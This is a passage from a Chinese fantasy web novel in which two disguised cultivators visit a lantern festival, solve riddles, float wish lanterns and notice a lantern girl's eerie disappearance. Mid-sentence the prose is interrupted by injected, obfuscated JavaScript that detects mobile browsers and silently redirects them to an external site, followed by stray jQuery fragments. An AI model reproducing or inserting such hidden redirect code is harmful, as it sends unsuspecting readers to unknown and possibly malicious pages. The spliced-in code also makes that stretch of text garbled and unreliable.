连乔觉得自己完不成的东西,迟星垂这种少爷更不会,好胜心作祟让她只听到后半句让迟星垂来,没注意到老板的称呼。
迟星垂倒是听到了,他愣了一下,连乔道,“不行的,他更不会。”
刚说着,连乔使劲往灯笼里面塞另一只蜡烛,放好蜡烛后可以糊花纸,结果这次力气太大,将灯笼的竹条也扯断了。
看得卖灯笼的老板心一惊,他望着连乔身后的迟星垂,目光充满了怜悯,像是在说,兄弟,你平日里辛苦了。
迟星垂:……
连乔身上有狐族血脉,虽然收敛了灵力,但是力气确实要比普通凡人大。
在她接连弄坏了三个灯笼架子后,迟星垂实在看不下去了,他俯下身蹲在连乔身边,接过第四个灯笼,“我试试吧。”
连乔将灯笼递给他。
手制灯笼的框架已经编好,但是可以选择自己想要的颜色和花色,迟星垂将蜡烛穿进去,又将竹条串好,问连乔喜欢什么颜色。
连乔想也不想,“要白色的。”
迟星垂替她将白纸糊上去,点上蜡烛,串上灯笼杆。
“哇~”连乔接过灯笼,眼睛都笑弯了,“师兄,你也太厉害了吧,这么精细的工作你也能做得这么好!”
精细么?
有没有一种可能,是你太粗鲁了。
连乔举着灯笼给迟星垂看,“师兄,你看这灯笼像不像三面狐。”
“不像。”迟星垂诚实道,“这是狗。”
连乔道,“我知道啊,老板那里没有狐狸。”
“这已经是最像三面狐的一个了。”连乔抬灯沉思,忽然指了指小狗灯的嘴,“不对,还差一点。”
连乔从老板那里借了一支笔,蘸了一点红色的颜料,给小狗灯画了一个舌头,举着灯给迟星垂看,“三面狐和小白狗一样喜欢吐舌头,你看,这样就更像了对不对?”
连乔举着灯,又看到一群人围在一起,她探过头去看,是在猜灯谜。
有猜动物的,猜对了送一只花灯,也有字谜,还有猜植物的。
点灯的小姑娘看到连乔和迟星垂,笑着和两个人打招呼,“二位是来猜灯谜的吗?”
为了避人耳目,连乔和迟星垂都简单易容,也换上了人间的普通衣服,但是两人气质非凡,仍旧十分惹眼,站在一起,男子俊女子美,实乃一对璧人。
桐花岭这一片民风淳朴,如此良辰美景,才子佳人相会的也有不少,点灯女招揽连乔,“姑娘,猜对了可以送一个花灯哦。”
连乔看了几个谜语,可惜,一个也不会。
“姑娘不会,公子可以帮忙一起猜哦。”点灯女举着两只格外别致的花灯,一只蝴蝶灯,一只莲花灯,“公子猜对了,可以将莲花灯送给心上人,在桐花岭爱人可以一起举莲花灯,寓意纯洁的爱意和炙热的爱情。”
连乔和迟星垂都没说话,两个人都因为对方的误会有些尴尬,但点灯女不是这么想,她以为两位刚在一起所以害羞,亲昵地拉着连乔,“姑娘,你猜吧,我这里有个简单一些的,你猜对了我送你一个灯。”
点灯女年纪不大,十七八岁模样,说起话来甜甜地,她挑出一盏灯,灯下面缀着一张纸片,照着纸片将谜语念出来,“有头无颈,有眼无眉,无脚能行千里,有翅难过山岭。”
连乔:“……”
点灯的小姑娘双手抱起来,做了个游走的动作,提醒连乔。
连乔:“蛇?”
点灯女:“……啊呀,蛇是有头无颈,有眼无眉,但是蛇也没有翅膀呀,不对不对,你再猜……”
她眼睛转了一圈,又瞥向河边,就差把答案告诉连乔了。
连乔想不到,身后的迟星垂道,“游鱼。”
“公子答对啦,来,莲花灯送给你们。”点灯女踮起脚将最上面的莲花灯取下来,“祝两位情比金坚地久天长。”
迟星垂咳嗽一声缓解尴尬,连乔望着面前的莲花灯,“我不要这个,能换一个吗?”
点灯女“啊”了一声,连乔道,“你误会了,我们不是那种关系。”
说完她转过头,对着迟星垂喊,“哥,你说话啊哥。”
迟星垂:“……”
点灯女也笑了,“不好意思呀两位。”
最终连乔选了一个小鱼灯,她举着鱼灯跟在迟星垂后面,“哥哥,你看我这鱼灯好看吗?”
迟星垂:“不好看。”
“哥哥,这个鱼灯不好看,那个兔子灯好看,我还想要那个兔子灯,哥哥可以给我买吗?”
迟星垂捏了捏眉头,身后的连乔还在故意膈应他,他越是抗拒,她嘴里越是甜甜地“哥哥哥哥”地喊。
迟星垂忍无可忍了,他停下脚,忽然转过头,脸上挂上笑容,“可以的,妹妹。”
连乔捂着嘴,小小地尖叫一声,“迟星垂,你被夺舍了?!”
她拔腿就跑,“有鬼啊,冰雕脸的迟星垂被鬼上身了……”
迟星垂一把耗住掉头就跑的连乔,捏住她的后脖,“妹妹,你仔细看看,除了兔子灯你还想要什么花灯,哥哥一起替你买了。”
连乔求饶,“我错了,我错了星垂师兄,我嘴欠,我膈应人,我再也不敢了。”
迟星垂放开她。
两个人跨过河里的小桥到对面,连乔一手举着一只小狗灯,另一只手举着兔子灯,迟星垂替她拿着鱼灯,连乔忽然道,“其实我还想再要一个,我方才看到猜字谜的姑娘那里有狐狸灯,我想再要一个真的狐狸灯。”
不过奇怪的是,点灯女刚刚还在,他们过了桥再往对面看,人就不见了。
但是猜灯谜的摊子还在。
真是奇怪。
桐花岭的长街绕水而建,不长,走完一圈再回来只要一炷香时间。
等连乔和迟星垂走完一圈,吃了些东西,再绕道河边放莲花灯。
这个莲花灯和手提的莲花灯不一样,不只是单纯寓意爱情,还代表着祝福和祈愿,这和她那个世界的习俗很像。
连乔取了一个花灯,卖花灯的老板说往花灯上写上自己挂念的人,无论对方在哪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623858|132129||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里处于什么样的难处,都能得到河神的祝福。
挂念的人?
三面狐,默非,南道,白花惊……
迟星垂一转头就看到连乔在莲花灯的每一瓣上都写了人名,莲花灯有十二片花瓣,每一个花瓣都有人。
连乔的手上沾了一点墨水,她擦了一下脸,墨水又糊到脸上,脏得像一只小花猫。
写完后还剩几个花瓣空着,连乔继续往上面补自己的名字。
迟星垂:“你真是一点也不浪费。”
“当然啊,老板说写上就能得到祝福,又没说能写多少个。”连乔道,“这些都是我心里的人,当然都要写上,花灯是我们花钱买的,要最大化利用。”
连乔写完了,发现还空了一瓣,她望了一眼旁边的人,勉为其难将他也写了上去。
迟星垂望着最后添上的自己的名字,“你心里的人挺多啊,跟像这莲花一样,每个花瓣上都挂着人。”
连乔把花瓣捂住,“别看我的,你没有吗?”
她伸头一看,迟星垂的花灯上空空如也,什么也没写,什么也没化。
哦对,迟星垂是这样的人,从不将期待和愿望寄托在别人身上。
他不信仰别人,最相信自己。
连乔伸手抓住他的莲花,“你不写就不写,不要浪费了买灯的钱。”
她在迟星垂的花上写了大大的“连”字,乔字写了一瞥又转笔,最后写成“连翘”。
迟星垂看着连乔的背影,看她将写有自己大大名字的花灯和写得密密麻麻的花灯同时放进水里,又推一把送走,生出一种荒诞的不真切的感觉来。
一直乏味枯燥的生活,好像也没那么无聊。
再回到街上,整条街的人也散了很多,只余下稀稀疏疏的几人。
连乔仍旧没有等到那个卖狐狸灯的点灯女。
“好奇怪,就算是收摊离开了,东西也要带走吧。”连乔将狐狸灯取下来看,这狐狸灯做得很精致,狐狸的眼角往上翘,睫毛很长,四肢有力,爪子锋利。
要不把灯带走,把买灯的钱留下来?
连乔又怕有别的人将钱拿走,放心不下,索性和迟星垂坐在这里等。
一直到夜深,街上人空了,也没有再见到那个说话温柔笑起来甜甜的姑娘。
远处的灯也一盏接着一盏熄灭,很快河道两侧的灯也燃尽,小城的灯节已经结束了,偌大的长街只剩下小姑娘这一个摊子还有灯,亮着孤寂的光。
忽然,空气中浮出一股极其淡的怪异的香味,一闪而过。
连乔嗅觉异常灵敏,她发现,这味道和在进山神庙戏楼前的香味很像。
她眯眼,立刻生出戒备之心,紧接着被迟星垂拉住,两个人身形一闪,藏到拱桥的阴影里。
那香味很快就散了,周围除了几个晚归的收摊子回家的人,没有其他任何人。
黑暗中,只有点灯女的花灯亮着几个,但那些花灯的蜡烛燃尽,也一个接着一个熄灭,很快整条街重新陷入深夜,就像夜灯节从来没有开始过。